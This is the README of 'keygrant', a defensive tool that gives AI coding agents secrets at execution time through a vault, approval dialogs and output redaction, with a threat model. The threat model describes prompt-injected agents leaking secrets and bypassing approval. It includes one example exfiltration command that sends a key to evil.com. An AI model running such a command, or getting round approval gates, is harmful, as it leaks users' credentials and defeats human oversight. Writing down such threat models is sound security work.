keygrant

Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.

Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.

Components

• keygrant.py — vault + CLI
  • keygrant set NAME [--desc TEXT] — store a secret (value via stdin, never argv)
  • keygrant list / rm NAME
  • keygrant exec [--redact] NAMES -- CMD — run CMD with secrets injected
  • keygrant revoke NAME|--all — revoke active approval grants
  • keygrant init — wire up a project (.mcp.json + CLAUDE.md guidance)
• keygrant_mcp.py — MCP server (stdio JSON-RPC, zero deps)
  • list_secrets — names/descriptions/usage only, never values
  • exec_with_secrets — server-side exec with injection + forced output redaction
  • deliberately no set/store tool: writing a value through the model would put it in context; values enter out-of-band via the CLI only

Install

uv tool install keygrant     # or: pipx install keygrant

Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install there fails; uv fetches a suitable Python automatically.

Then, in each project where agents should use secrets:

keygrant init

init adds a keygrant entry to the project's .mcp.json (merging with any existing servers) and appends usage guidance for the model to CLAUDE.md, both idempotently. Restart Claude Code in that folder to load the server.

macOS

Values live in the login Keychain; approval is a native dialog.

Threat model

What this protects against:

• Context exfiltration — a prompt-injected agent (or plain logging) leaking a secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.
• Output leaks — an agent echoing a secret back. All output returned to the model is redacted, including base64, hex, and URL-encoded variants.
• Grant riding — one agent session reusing an approval made in another. Grants are bound to the requesting session (MCP server id / CLI parent process) and expire after 15 minutes.
• Silent use — every first use per session requires explicit user approval; timeout means deny.

What this does NOT protect against (known residual risks):

• A compromised agent can request a command that exfiltrates the secret over the network (curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap.
• Redaction is a second line of defense, not a guarantee: novel encodings can evade it. The primary guarantee remains "values never enter context".
• Anything running as the same OS user can read the DPAPI vault. This tool scopes agent access to secrets; it is not a defense against local malware.

Approval

Every use of a secret — via the CLI or the MCP server — requires the user's approval through a native, topmost dialog (deny by default on a 60s timeout). Approving grants access to that secret for 15 minutes, bound to the requesting session (tracked in grants.json); keygrant revoke withdraws a grant early. Both channels go through the same gate, so an agent cannot bypass MCP approval by shelling out to the CLI — and a grant approved for one session cannot be reused by another. The dialog will be replaced by a resident tray app with toast notifications; the grant semantics stay the same.

Storage

• Windows: values DPAPI-encrypted (per-user) inside %APPDATA%\keygrant\vault.json
• macOS: values in the login Keychain (via the security CLI; the first read triggers the OS Keychain permission prompt — an extra OS-level gate); ~/.config/keygrant/vault.json holds metadata only
• Linux: values in the Secret Service keyring via secret-tool (libsecret-tools + a running keyring daemon; approval dialogs need zenity); the vault file holds metadata only

The vault file also records usage metadata (use count, last used) as the seed of an audit trail.

Roadmap (prototype → product)

1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
2. Per-secret egress allowlists (bind a key to permitted destination hosts)
3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)